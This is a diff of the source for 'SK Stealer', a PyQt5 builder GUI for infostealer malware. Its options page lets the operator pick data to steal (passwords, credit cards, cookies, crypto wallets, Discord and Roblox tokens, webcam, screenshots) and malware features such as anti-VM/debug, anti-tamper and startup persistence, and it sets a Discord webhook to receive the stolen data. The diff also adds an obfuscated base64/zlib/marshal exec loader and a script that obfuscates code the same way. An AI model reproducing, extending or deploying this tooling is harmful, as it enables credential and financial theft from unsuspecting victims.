|
filetype_layout.setSpacing(8)
|
||||||
|
filetype_label = QLabel("File Type:")
|
||||||
|
filetype_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||||
|
self.filetype_combo = QComboBox()
|
||||||
|
self.filetype_combo.addItems([".exe", ".py", ".pyw"])
|
||||||
|
self.filetype_combo.setMinimumHeight(40)
|
||||||
|
self.filetype_combo.currentTextChanged.connect(self.on_filetype_changed)
|
||||||
|
filetype_layout.addWidget(filetype_label)
|
||||||
|
filetype_layout.addWidget(self.filetype_combo)
|
||||||
|
|
||||||
|
icon_layout = QVBoxLayout()
|
||||||
|
icon_layout.setSpacing(8)
|
||||||
|
self.icon_label = QLabel("Exe Icon (Optional):")
|
||||||
|
self.icon_label.setStyleSheet("font-weight: bold; font-size: 13px;")
|
||||||
|
self.icon_button = QPushButton("Select Icon")
|
||||||
|
self.icon_button.setObjectName("iconButton")
|
||||||
|
self.icon_button.setMinimumHeight(40)
|
||||||
|
self.icon_button.clicked.connect(self.select_icon)
|
||||||
|
self.icon_path_label = QLabel("No icon selected")
|
||||||
|
self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;")
|
||||||
|
icon_layout.addWidget(self.icon_label)
|
||||||
|
icon_layout.addWidget(self.icon_button)
|
||||||
|
icon_layout.addWidget(self.icon_path_label)
|
||||||
|
|
||||||
|
form_layout.addLayout(filename_layout)
|
||||||
|
form_layout.addLayout(filetype_layout)
|
||||||
|
form_layout.addLayout(icon_layout)
|
||||||
|
form_layout.addStretch()
|
||||||
|
|
||||||
|
button_layout = QHBoxLayout()
|
||||||
|
button_layout.addStretch()
|
||||||
|
self.build_button = QPushButton("Start Build")
|
||||||
|
|
||||||
|
self.build_button.setObjectName("buildButton")
|
||||||
|
self.build_button.setMinimumSize(200, 50)
|
||||||
|
self.build_button.clicked.connect(self.start_build)
|
||||||
|
button_layout.addWidget(self.build_button)
|
||||||
|
button_layout.addStretch()
|
||||||
|
|
||||||
|
main_layout.addWidget(title)
|
||||||
|
main_layout.addLayout(form_layout)
|
||||||
|
main_layout.addLayout(button_layout)
|
||||||
|
|
||||||
|
self.setLayout(main_layout)
|
||||||
|
|
||||||
|
self.on_filetype_changed(self.filetype_combo.currentText())
|
||||||
|
|
||||||
|
def on_filetype_changed(self, file_type):
|
||||||
|
is_exe = file_type == ".exe"
|
||||||
|
self.icon_label.setEnabled(is_exe)
|
||||||
|
self.icon_button.setEnabled(is_exe)
|
||||||
|
self.icon_path_label.setEnabled(is_exe)
|
||||||
|
|
||||||
|
if not is_exe:
|
||||||
|
self.selected_icon = None
|
||||||
|
self.icon_path_label.setText("Icon only available for .exe files")
|
||||||
|
self.icon_path_label.setStyleSheet("color: #666; font-size: 12px; font-style: italic;")
|
||||||
|
else:
|
||||||
|
if not self.selected_icon:
|
||||||
|
self.icon_path_label.setText("No icon selected")
|
||||||
|
self.icon_path_label.setStyleSheet("color: #888; font-size: 12px; font-style: italic;")
|
||||||
|
|
||||||
|
def select_icon(self):
|
||||||
|
file_path, _ = QFileDialog.getOpenFileName(
|
||||||
|
self,
|
||||||
|
"Select Icon",
|
||||||
|
"icons",
|
||||||
|
"Icon Files (*.ico);;All Files (*)"
|
||||||
|
)
|
||||||
|
|
||||||
|
if file_path:
|
||||||
|
self.selected_icon = file_path
|
||||||
|
self.icon_path_label.setText(f"Selected: {file_path}")
|
||||||
|
self.icon_path_label.setStyleSheet("color: #00aa44; font-size: 12px;")
|
||||||
|
|
||||||
|
def start_build(self):
|
||||||
|
# Validações
|
||||||
|
filename = self.filename_input.text().strip()
|
||||||
|
if not filename:
|
||||||
|
return
|
||||||
|
|
||||||
|
filetype = self.filetype_combo.currentText()
|
||||||
|
icon = self.selected_icon
|
||||||
|
selected = self.options_page.get_selected_options()
|
||||||
|
webhook = self.options_page.webhook_input.text().strip()
|
||||||
|
|
||||||
|
# Cria janela de log
|
||||||
|
self.build_window = BuildLogBox(self)
|
||||||
|
self.build_window.show()
|
||||||
|
|
||||||
|
# Log inicial
|
||||||
|
self.build_window.add_log("Starting build...")
|
||||||
|
self.build_window.add_log(f"Webhook: {webhook}")
|
||||||
|
self.build_window.add_log(f"File: {filename}{filetype}")
|
||||||
|
self.build_window.add_log(f"Payloads: {selected}")
|
||||||
|
self.build_window.add_log("")
|
||||||
|
|
||||||
|
full_path = f"output/{filename}"
|
||||||
|
|
||||||
|
# Cria e configura thread de build
|
||||||
|
self.build_thread = BuildThread(
|
||||||
|
compress=True,
|
||||||
|
webhook_url=webhook,
|
||||||
|
selected_payloads=selected.copy(),
|
||||||
|
file_name=full_path,
|
||||||
|
file_type=filetype.replace(".", ""),
|
||||||
|
file_icon_path=icon
|
||||||
|
)
|
||||||
|
|
||||||
|
# Conecta sinais
|
||||||
|
self.build_thread.log_signal.connect(self.build_window.add_log)
|
||||||
|
self.build_thread.finished_signal.connect(self.on_build_finished)
|
||||||
|
|
||||||
|
# Desabilita botão durante build
|
||||||
|
self.build_button.setEnabled(False)
|
||||||
|
self.build_button.setText("Building...")
|
||||||
|
|
||||||
|
# Inicia thread
|
||||||
|
self.build_thread.start()
|
||||||
|
|
||||||
|
def on_build_finished(self, success, message):
|
||||||
|
"""Chamado quando o build termina"""
|
||||||
|
self.build_window.add_log("")
|
||||||
|
self.build_window.add_log(message)
|
||||||
|
self.build_window.finish()
|
||||||
|
|
||||||
|
# Reabilita botão
|
||||||
|
self.build_button.setEnabled(True)
|
||||||
|
self.build_button.setText("Start Build")
|
||||||
|
|
||||||
|
# Limpa thread
|
||||||
|
self.build_thread = None
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
from PyQt5.QtWidgets import (
|
||||||
|
QMainWindow, QWidget, QVBoxLayout, QHBoxLayout,
|
||||||
|
QLabel, QPushButton, QFrame
|
||||||
|
)
|
||||||
|
from PyQt5.QtCore import Qt, QPoint
|
||||||
|
from PyQt5.QtGui import QFont, QIcon
|
||||||
|
from src.styles import MAIN_STYLE, TOPBAR_STYLE, close_btn_style
|
||||||
|
|
||||||
|
|
||||||
|
class CustomMessageBox(QMainWindow):
|
||||||
|
def __init__(self, icon: str, title: str, message: str):
|
||||||
|
super().__init__()
|
||||||
|
self.setWindowIcon(QIcon("./logos/sk_logo.png"))
|
||||||
|
self.setWindowTitle(title)
|
||||||
|
self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)
|
||||||
|
self.setGeometry(500, 250, 300, 150)
|
||||||
|
self.setStyleSheet(MAIN_STYLE)
|
||||||
|
self.setAttribute(Qt.WA_TranslucentBackground, False)
|
||||||
|
|
||||||
|
self.dragging = False
|
||||||
|
self.offset = QPoint()
|
||||||
|
|
||||||
|
main_widget = QWidget()
|
||||||
|
main_layout = QVBoxLayout()
|
||||||
|
main_layout.setContentsMargins(0, 0, 0, 0)
|
||||||
|
main_layout.setSpacing(0)
|
||||||
|
|
||||||
|
top_bar = self.create_top_bar(icon, title)
|
||||||
|
|
||||||
|
body = QFrame()
|
||||||
|
body_layout = QVBoxLayout()
|
||||||
|
body_layout.setContentsMargins(20, 20, 20, 20)
|
||||||
|
|
||||||
|
msg_label = QLabel(message)
|
||||||
|
msg_label.setWordWrap(True)
|
||||||
|
msg_label.setAlignment(Qt.AlignCenter)
|
||||||
|
msg_label.setStyleSheet("color: #eee; font-size: 13px;")
|
||||||
|
|
||||||
|
ok_button = QPushButton("OK")
|
||||||
|
ok_button.setStyleSheet("""
|
||||||
|
QPushButton {
|
||||||
|
background-color: #ff4444;
|
||||||
|
color: white;
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 6px 14px;
|
||||||
|
}
|
||||||
|
QPushButton:hover {
|
||||||
|
background-color: #ff6666;
|
||||||
|
}
|
||||||
|
""")
|
||||||
|
ok_button.clicked.connect(self.close)
|
||||||
|
|
||||||
|
body_layout.addWidget(msg_label)
|
||||||
|
body_layout.addWidget(ok_button, alignment=Qt.AlignCenter)
|
||||||
|
body.setLayout(body_layout)
|
||||||
|
|
||||||
|
main_layout.addWidget(top_bar)
|
||||||
|
main_layout.addWidget(body)
|
||||||
|
|
||||||
|
main_widget.setLayout(main_layout)
|
||||||
|
self.setCentralWidget(main_widget)
|
||||||
|
|
||||||
|
def create_top_bar(self, icon: str, title: str):
|
||||||
|
top_bar = QFrame()
|
||||||
|
top_bar.setFixedHeight(35)
|
||||||
|
top_bar.setStyleSheet(TOPBAR_STYLE)
|
||||||
|
|
||||||
|
top_bar.mousePressEvent = self.mousePressEvent
|
||||||
|
top_bar.mouseMoveEvent = self.mouseMoveEvent
|
||||||
|
top_bar.mouseReleaseEvent = self.mouseReleaseEvent
|
||||||
|
|
||||||
|
top_layout = QHBoxLayout()
|
||||||
|
top_layout.setContentsMargins(15, 0, 10, 0)
|
||||||
|
top_layout.setSpacing(10)
|
||||||
|
|
||||||
|
icon_label = QLabel(icon)
|
||||||
|
icon_label.setStyleSheet("color: #ff4444; font-size: 16px;")
|
||||||
|
|
||||||
|
title = QLabel(title)
|
||||||
|
title.setFont(QFont("Segoe UI", 10, QFont.Bold))
|
||||||
|
title.setStyleSheet("color: #e0e0e0;")
|
||||||
|
|
||||||
|
top_layout.addWidget(icon_label)
|
||||||
|
top_layout.addWidget(title)
|
||||||
|
top_layout.addStretch()
|
||||||
|
|
||||||
|
btn_close = QPushButton("🔴")
|
||||||
|
btn_close.setStyleSheet(close_btn_style)
|
||||||
|
btn_close.clicked.connect(self.close)
|
||||||
|
|
||||||
|
top_layout.addWidget(btn_close)
|
||||||
|
top_bar.setLayout(top_layout)
|
||||||
|
return top_bar
|
||||||
|
|
||||||
|
|
||||||
|
def mousePressEvent(self, event):
|
||||||
|
if event.button() == Qt.LeftButton:
|
||||||
|
self.dragging = True
|
||||||
|
self.offset = event.globalPos() - self.frameGeometry().topLeft()
|
||||||
|
|
||||||
|
def mouseMoveEvent(self, event):
|
||||||
|
if self.dragging:
|
||||||
|
self.move(event.globalPos() - self.offset)
|
||||||
|
|
||||||
|
def mouseReleaseEvent(self, event):
|
||||||
|
self.dragging = False
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
import re
|
||||||
|
|
||||||
|
from PyQt5.QtWidgets import (
|
||||||
|
QWidget, QVBoxLayout, QHBoxLayout, QLabel,
|
||||||
|
QCheckBox, QGroupBox, QScrollArea, QLineEdit, QPushButton
|
||||||
|
)
|
||||||
|
from PyQt5.QtCore import Qt
|
||||||
|
from PyQt5.QtGui import QFont
|
||||||
|
|
||||||
|
from src.styles import webhook_group_style, SCROLL_STYLE
|
||||||
|
from src.pages.message_box import CustomMessageBox
|
||||||
|
from src.functions.tools import Tools
|
||||||
|
|
||||||
|
class OptionsPage(QWidget):
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.init_ui()
|
||||||
|
|
||||||
|
def init_ui(self):
|
||||||
|
main_layout = QVBoxLayout()
|
||||||
|
main_layout.setContentsMargins(30, 30, 30, 30)
|
||||||
|
|
||||||
|
title = QLabel("Stealer Configuration")
|
||||||
|
title.setFont(QFont("Segoe UI", 18, QFont.Bold))
|
||||||
|
title.setStyleSheet("color: #ff4444; margin-bottom: 10px;")
|
||||||
|
|
||||||
|
webhook_group = QGroupBox("Webhook Configuration")
|
||||||
|
webhook_group.setStyleSheet(webhook_group_style)
|
||||||
|
|
||||||
|
webhook_layout = QHBoxLayout()
|
||||||
|
webhook_layout.setContentsMargins(15, 20, 15, 15)
|
||||||
|
|
||||||
|
self.webhook_input = QLineEdit()
|
||||||
|
self.webhook_input.setPlaceholderText("Enter webhook URL...")
|
||||||
|
self.webhook_input.setMinimumHeight(35)
|
||||||
|
|
||||||
|
test_btn = QPushButton("verify")
|
||||||
|
test_btn.setObjectName("testButton")
|
||||||
|
test_btn.setFixedSize(80, 35)
|
||||||
|
test_btn.clicked.connect(self.check_webhook)
|
||||||
|
|
||||||
|
webhook_layout.addWidget(self.webhook_input)
|
||||||
|
webhook_layout.addWidget(test_btn)
|
||||||
|
webhook_group.setLayout(webhook_layout)
|
||||||
|
|
||||||
|
scroll = QScrollArea()
|
||||||
|
scroll.setWidgetResizable(True)
|
||||||
|
scroll.setStyleSheet(SCROLL_STYLE)
|
||||||
|
|
||||||
|
|
||||||
|
scroll_content = QWidget()
|
||||||
|
scroll_layout = QVBoxLayout()
|
||||||
|
scroll_layout.setSpacing(20)
|
||||||
|
|
||||||
|
stealer_group = self.create_checkbox_group(
|
||||||
|
"Stealer Options",
|
||||||
|
[
|
||||||
|
"System Info", "Credit Cards",
|
||||||
|
"Game Launchers", "Passwords", "Extensions",
|
||||||
|
"Wallets", "Cookies", "Files",
|
||||||
|
"Apps", "History", "Webcam",
|
||||||
|
"Roblox Cookies", "Downloads", "Screenshot",
|
||||||
|
"Discord Tokens"
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
malware_group = self.create_checkbox_group(
|
||||||
|
"Malware Options",
|
||||||
|
[
|
||||||
|
"Anti VM/Debug",
|
||||||
|
"Anti-Tamper",
|
||||||
|
"Startup",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
|
scroll_layout.addWidget(stealer_group)
|
||||||
|
scroll_layout.addWidget(malware_group)
|
||||||
|
scroll_layout.addStretch()
|
||||||
|
|
||||||
|
scroll_content.setLayout(scroll_layout)
|
||||||
|
scroll.setWidget(scroll_content)
|
||||||
|
|
||||||
|
main_layout.addWidget(title)
|
||||||
|
main_layout.addWidget(webhook_group)
|
||||||
|
main_layout.addWidget(scroll)
|
||||||
|
|
||||||
|
self.setLayout(main_layout)
|
||||||
|
|
||||||
|
def create_checkbox_group(self, title, options):
|
||||||
|
group = QGroupBox(title)
|
||||||
|
group.checkboxes = []
|
||||||
|
group.setStyleSheet("""
|
||||||
|
QGroupBox {
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
color: #ff4444;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
border-radius: 6px;
|
||||||
|
margin-top: 10px;
|
||||||
|
padding-top: 15px;
|
||||||
|
}
|
||||||
|
QGroupBox::title {
|
||||||
|
subcontrol-origin: margin;
|
||||||
|
left: 10px;
|
||||||
|
padding: 0 5px;
|
||||||
|
}
|
||||||
|
""")
|
||||||
|
|
||||||
|
layout = QVBoxLayout()
|
||||||
|
layout.setContentsMargins(15, 20, 15, 15)
|
||||||
|
layout.setSpacing(12)
|
||||||
|
|
||||||
|
grid_layout = QHBoxLayout()
|
||||||
|
columns = [QVBoxLayout() for _ in range(3)]
|
||||||
|
|
||||||
|
for i, option in enumerate(options):
|
||||||
|
checkbox = QCheckBox(option)
|
||||||
|
group.checkboxes.append(checkbox)
|
||||||
|
columns[i % 3].addWidget(checkbox)
|
||||||
|
|
||||||
|
for col in columns:
|
||||||
|
col.addStretch()
|
||||||
|
grid_layout.addLayout(col)
|
||||||
|
|
||||||
|
layout.addLayout(grid_layout)
|
||||||
|
group.setLayout(layout)
|
||||||
|
|
||||||
|
return group
|
||||||
|
|
||||||
|
def get_selected_options(self):
|
||||||
|
selected = []
|
||||||
|
for group in self.findChildren(QGroupBox):
|
||||||
|
if hasattr(group, "checkboxes"):
|
||||||
|
for cb in group.checkboxes:
|
||||||
|
if cb.isChecked():
|
||||||
|
selected.append(cb.text())
|
||||||
|
return selected
|
||||||
|
|
||||||
|
def check_webhook(self):
|
||||||
|
webhook_url = self.webhook_input.text().strip()
|
||||||
|
pattern = r"^https:\/\/discord\.com\/api\/webhooks\/\d+\/[\w-]+$"
|
||||||
|
if not re.match(pattern, webhook_url):
|
||||||
|
box = CustomMessageBox("😈", "Error", "Invalid Discord Webhook!")
|
||||||
|
box.show()
|
||||||
|
return
|
||||||
|
|
||||||
|
r = Tools.send_webhook(webhook_url)
|
||||||
|
if r[0]:
|
||||||
|
box = CustomMessageBox("😈", "Successfully", r[1])
|
||||||
|
box.show()
|
||||||
|
return
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
from PyQt5.QtWidgets import QLabel, QVBoxLayout, QWidget, QGraphicsOpacityEffect
|
||||||
|
from PyQt5.QtGui import QFont
|
||||||
|
from PyQt5.QtCore import Qt, QPropertyAnimation, QEasingCurve, QTimer
|
||||||
|
from src.styles import MAIN_STYLE
|
||||||
|
|
||||||
|
class SplashScreen(QWidget):
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.setWindowFlags(Qt.FramelessWindowHint | Qt.WindowStaysOnTopHint)
|
||||||
|
self.setAttribute(Qt.WA_TranslucentBackground)
|
||||||
|
|
||||||
|
self.setGeometry(95, 50, 1100, 620)
|
||||||
|
|
||||||
|
# Container
|
||||||
|
layout = QVBoxLayout(self)
|
||||||
|
|
||||||
|
# Fundo estiloso
|
||||||
|
self.setStyleSheet(MAIN_STYLE)
|
||||||
|
|
||||||
|
# Texto
|
||||||
|
self.text = QLabel("SK Stealer by @CirqueiraDev")
|
||||||
|
self.text.setAlignment(Qt.AlignCenter)
|
||||||
|
self.text.setFont(QFont("Segoe UI", 16, QFont.Bold))
|
||||||
|
|
||||||
|
layout.addWidget(self.text)
|
||||||
|
|
||||||
|
# Fade effect
|
||||||
|
self.opacity_effect = QGraphicsOpacityEffect(self)
|
||||||
|
self.setGraphicsEffect(self.opacity_effect)
|
||||||
|
|
||||||
|
self.anim = QPropertyAnimation(self.opacity_effect, b"opacity")
|
||||||
|
self.anim.setDuration(300)
|
||||||
|
self.anim.setStartValue(0)
|
||||||
|
self.anim.setEndValue(1)
|
||||||
|
self.anim.setEasingCurve(QEasingCurve.InOutQuad)
|
||||||
|
|
||||||
|
self.anim.finished.connect(self.fade_out)
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
self.show()
|
||||||
|
self.anim.start()
|
||||||
|
|
||||||
|
def fade_out(self):
|
||||||
|
QTimer.singleShot(1200, self._start_fade_out)
|
||||||
|
|
||||||
|
def _start_fade_out(self):
|
||||||
|
self.anim2 = QPropertyAnimation(self.opacity_effect, b"opacity")
|
||||||
|
self.anim2.setDuration(1000)
|
||||||
|
self.anim2.setStartValue(1)
|
||||||
|
self.anim2.setEndValue(0)
|
||||||
|
self.anim2.setEasingCurve(QEasingCurve.InOutQuad)
|
||||||
|
self.anim2.finished.connect(self.close)
|
||||||
|
self.anim2.start()
|
||||||
@@ -0,0 +1,236 @@
|
|||||||
|
control_btn_style = """
|
||||||
|
QPushButton {
|
||||||
|
text-align: center;
|
||||||
|
background-color: transparent;
|
||||||
|
color: #999;
|
||||||
|
border: none;
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: bold;
|
||||||
|
padding: 0px;
|
||||||
|
min-width: 45px;
|
||||||
|
max-width: 45px;
|
||||||
|
min-height: 35px;
|
||||||
|
max-height: 35px;
|
||||||
|
}
|
||||||
|
QPushButton:hover {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
close_btn_style = """
|
||||||
|
QPushButton {
|
||||||
|
text-align: center;
|
||||||
|
background-color: transparent;
|
||||||
|
color: #999;
|
||||||
|
border: none;
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: bold;
|
||||||
|
padding: 0px;
|
||||||
|
min-width: 45px;
|
||||||
|
max-width: 45px;
|
||||||
|
min-height: 35px;
|
||||||
|
max-height: 35px;
|
||||||
|
}
|
||||||
|
QPushButton:hover {
|
||||||
|
background-color: #ff4444;
|
||||||
|
color: #fff;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
webhook_group_style = """
|
||||||
|
QGroupBox {
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
color: #ff4444;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
border-radius: 6px;
|
||||||
|
margin-top: 10px;
|
||||||
|
padding-top: 15px;
|
||||||
|
}
|
||||||
|
QGroupBox::title {
|
||||||
|
subcontrol-origin: margin;
|
||||||
|
left: 10px;
|
||||||
|
padding: 0 5px;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
SCROLL_STYLE = """
|
||||||
|
QScrollArea {
|
||||||
|
border: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar:vertical {
|
||||||
|
background: #181818;
|
||||||
|
width: 8px;
|
||||||
|
margin: 0px;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar::handle:vertical {
|
||||||
|
background: #ff4444;
|
||||||
|
min-height: 25px;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar::handle:vertical:hover {
|
||||||
|
background: #ff6666;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical {
|
||||||
|
width: 0;
|
||||||
|
height: 0;
|
||||||
|
background: none;
|
||||||
|
border: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar::sub-line:vertical, QScrollBar::add-line:vertical {
|
||||||
|
height: 0px;
|
||||||
|
background: none;
|
||||||
|
border: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical {
|
||||||
|
background: none;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
TOPBAR_STYLE = """
|
||||||
|
QFrame {
|
||||||
|
background-color: #0a0a0a;
|
||||||
|
border-bottom: 1px solid #1a1a1a;
|
||||||
|
}
|
||||||
|
"""
|
||||||
|
|
||||||
|
SIDEBAR_STYLE = """
|
||||||
|
background-color: #0f0f0f;
|
||||||
|
border-right: 1px solid #1a1a1a;
|
||||||
|
"""
|
||||||
|
|
||||||
|
MAIN_STYLE = """
|
||||||
|
QWidget {
|
||||||
|
background-color: #0a0a0a;
|
||||||
|
color: #e0e0e0;
|
||||||
|
font-family: 'Segoe UI';
|
||||||
|
}
|
||||||
|
QPushButton {
|
||||||
|
background-color: transparent;
|
||||||
|
border: none;
|
||||||
|
color: #bbb;
|
||||||
|
font-size: 14px;
|
||||||
|
padding: 12px 16px;
|
||||||
|
text-align: left;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
QPushButton:hover {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
color: #ff4444;
|
||||||
|
}
|
||||||
|
QPushButton#active {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
color: #ff4444;
|
||||||
|
border-left: 3px solid #ff4444;
|
||||||
|
}
|
||||||
|
QLabel {
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
QCheckBox {
|
||||||
|
color: #e0e0e0;
|
||||||
|
font-size: 13px;
|
||||||
|
spacing: 8px;
|
||||||
|
}
|
||||||
|
QCheckBox::indicator {
|
||||||
|
width: 18px;
|
||||||
|
height: 18px;
|
||||||
|
border: 2px solid #ff4444;
|
||||||
|
border-radius: 3px;
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
QCheckBox::indicator:checked {
|
||||||
|
background-color: #ff4444;
|
||||||
|
border: 2px solid #ff4444;
|
||||||
|
}
|
||||||
|
QCheckBox::indicator:hover {
|
||||||
|
border: 2px solid #ff6666;
|
||||||
|
}
|
||||||
|
QLineEdit {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 8px;
|
||||||
|
color: #e0e0e0;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
QLineEdit:focus {
|
||||||
|
border: 1px solid #ff4444;
|
||||||
|
}
|
||||||
|
QComboBox {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 8px;
|
||||||
|
color: #e0e0e0;
|
||||||
|
font-size: 13px;
|
||||||
|
}
|
||||||
|
QComboBox:hover {
|
||||||
|
border: 1px solid #ff4444;
|
||||||
|
}
|
||||||
|
QComboBox::drop-down {
|
||||||
|
border: none;
|
||||||
|
padding-right: 8px;
|
||||||
|
}
|
||||||
|
QComboBox::down-arrow {
|
||||||
|
image: none;
|
||||||
|
border-left: 5px solid transparent;
|
||||||
|
border-right: 5px solid transparent;
|
||||||
|
border-top: 5px solid #ff4444;
|
||||||
|
}
|
||||||
|
QComboBox QAbstractItemView {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
selection-background-color: #ff4444;
|
||||||
|
color: #e0e0e0;
|
||||||
|
}
|
||||||
|
QPushButton#buildButton {
|
||||||
|
text-align: center;
|
||||||
|
background-color: #ff4444;
|
||||||
|
color: white;
|
||||||
|
font-size: 14px;
|
||||||
|
font-weight: bold;
|
||||||
|
padding: 12px 24px;
|
||||||
|
border-radius: 6px;
|
||||||
|
}
|
||||||
|
QPushButton#buildButton:hover {
|
||||||
|
|
||||||
|
background-color: #ff6666;
|
||||||
|
}
|
||||||
|
QPushButton#buildButton:pressed {
|
||||||
|
background-color: #cc3333;
|
||||||
|
}
|
||||||
|
QPushButton#iconButton {
|
||||||
|
background-color: #1a1a1a;
|
||||||
|
border: 1px solid #2a2a2a;
|
||||||
|
color: #bbb;
|
||||||
|
padding: 8px;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
QPushButton#iconButton:hover {
|
||||||
|
border: 1px solid #ff4444;
|
||||||
|
color: #e0e0e0;
|
||||||
|
}
|
||||||
|
QPushButton#testButton {
|
||||||
|
background-color: #00aa44;
|
||||||
|
color: white;
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: bold;
|
||||||
|
padding: 10px 20px;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
QPushButton#testButton:hover {
|
||||||
|
background-color: #00cc55;
|
||||||
|
}
|
||||||
|
QScrollArea {
|
||||||
|
border: none;
|
||||||
|
background-color: transparent;
|
||||||
|
}
|
||||||
|
"""
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
|
||||||
|
import base64, marshal
|
||||||
|
import zlib
|
||||||
|
a='eJy9VE1oG0cUnv3TjrRaJbH14/64DkqioIJEDqnB4KYYF6uhiePGTR0Xt2ajWf248q7YXUWykYoPKYg0EBMCNv2hojiuiy89BnoJvfSqFQsSA4ZAyKE3QS4ml3ZWtlVJVSjuoQP7ZnjzvW++efPePgMdgzqcX7iJ2QAI3AGfAkTNgjAd78RB8jE27jemhaNKwAmMDsDSEROo0KDPMBwdWPZohejX2t5twrDbZilRRarC9WNCTDdSYxBbopXAK/FcD55GjhKN+CL9LfieLjFdytrrCt+XC/ZwvfuKHMB+0Z3YirMvv7ObH7mQgNxIRJ5tomy3ra7EKr8eS/eJHt3v/VfdHVhX35NO9tzgFBrYJjWzy3Ro/+xY2gd7tF/637R7ka9X+3HOLrJFZpt0w267I0qc4f97v+LuG0UVue4oqrtyxL5RHPL3RhXBLDhDZrtb54HCFJh5kKdsbzgwPfWHDVplo3JBxgwxq0w0u4Lp7ErObs9nX21FMZNPK5ifmJl5f+LjCey8mo5rqq4mDMzPpRWk5vVV16whacbpq7KSw3BGU5OatKxjvuXNZbEDSRrheEl9ifkr6VuapK1g9xUpp8RTE0lZMXTMZdJKrrDKR+OqkkgnsVPKGapuh6f/JOkNezCt6pjNSkYK89ItvbVg9BXik7TkbQxlBen5NHHCbEYyEqq2jF2t+AMvu6SSOziSsiErt7FLLmQlBeV0WcMOPZUz0hnMxlVyby6eWlZR2IF5/VC7M5HOyIsH58kFA0NFzi8q0rKMHQk1gwiDaG8u2m4bqtt1fLo1sKBJxEmuaacULh5SaufBwR9X/5rYNdDwDK7FmmyAE/e8/oexjWsPrj2a3Ppg56OtD03vBct7oex8KnjrwnBNGN5MmMI5SzjXBIwz0BgIlCfLkw3RXxdHauJIhTPFkCWGmoCyN/3lyaeDI5tn1sfXx8vwueC5N14XgjUhWHnHFMKWEG4CzjlL7fkCD+c2Fh4sPAr+FP4xvHPZDI5awdHHwpP56sxC9fNUdUk3fYblM8pT5ak98eS9hbp4tiaerdw0xaglRm0tXTRb5+vBi7XgxV9mzeCYFRx7PPZEMX03LN+NXoY5U4xYYsQW/G8MX5i+65bvOokfev07/gf3N+7KJzs3zaFRa2i0LD6HnvvCXWH98mbJhBELRqowsgdd9+FduD5M8gJDFgxVYahxwl/27DdpmhPt7PEN6C6z+/v7DWFgbVq3G/FO7FTMD373s7E3mekw1Xqsn8ELu0u0EDEv4TipkFxGvqS9ffSObxHTZCiKatJvUINN8E+jhQnkLz9fiFs='
|
||||||
|
b=base64.b64decode(a)
|
||||||
|
b=zlib.decompress(b)
|
||||||
|
c=marshal.loads(b)
|
||||||
|
exec(c)
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
# pyinstaller --onefile --noconsole --icon=app.ico --add-data "config.json;." main.py
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import base64
|
||||||
|
import marshal
|
||||||
|
import zlib
|
||||||
|
import sys
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
LOADER_TEMPLATE = '''
|
||||||
|
import base64, marshal
|
||||||
|
{decompress_import}
|
||||||
|
a={b64!s}
|
||||||
|
b=base64.b64decode(a)
|
||||||
|
{maybe_decompress}
|
||||||
|
c=marshal.loads(b)
|
||||||
|
exec(c)
|
||||||
|
'''
|
||||||
|
|
||||||
|
def obfuscate_file(input_path: Path, output_path: Path, compress: bool = False):
|
||||||
|
src = input_path.read_text(encoding="utf-8")
|
||||||
|
code_obj = compile(src, str(input_path), "exec")
|
||||||
|
|
||||||
|
data = marshal.dumps(code_obj)
|
||||||
|
|
||||||
|
if compress:
|
||||||
|
data = zlib.compress(data)
|
||||||
|
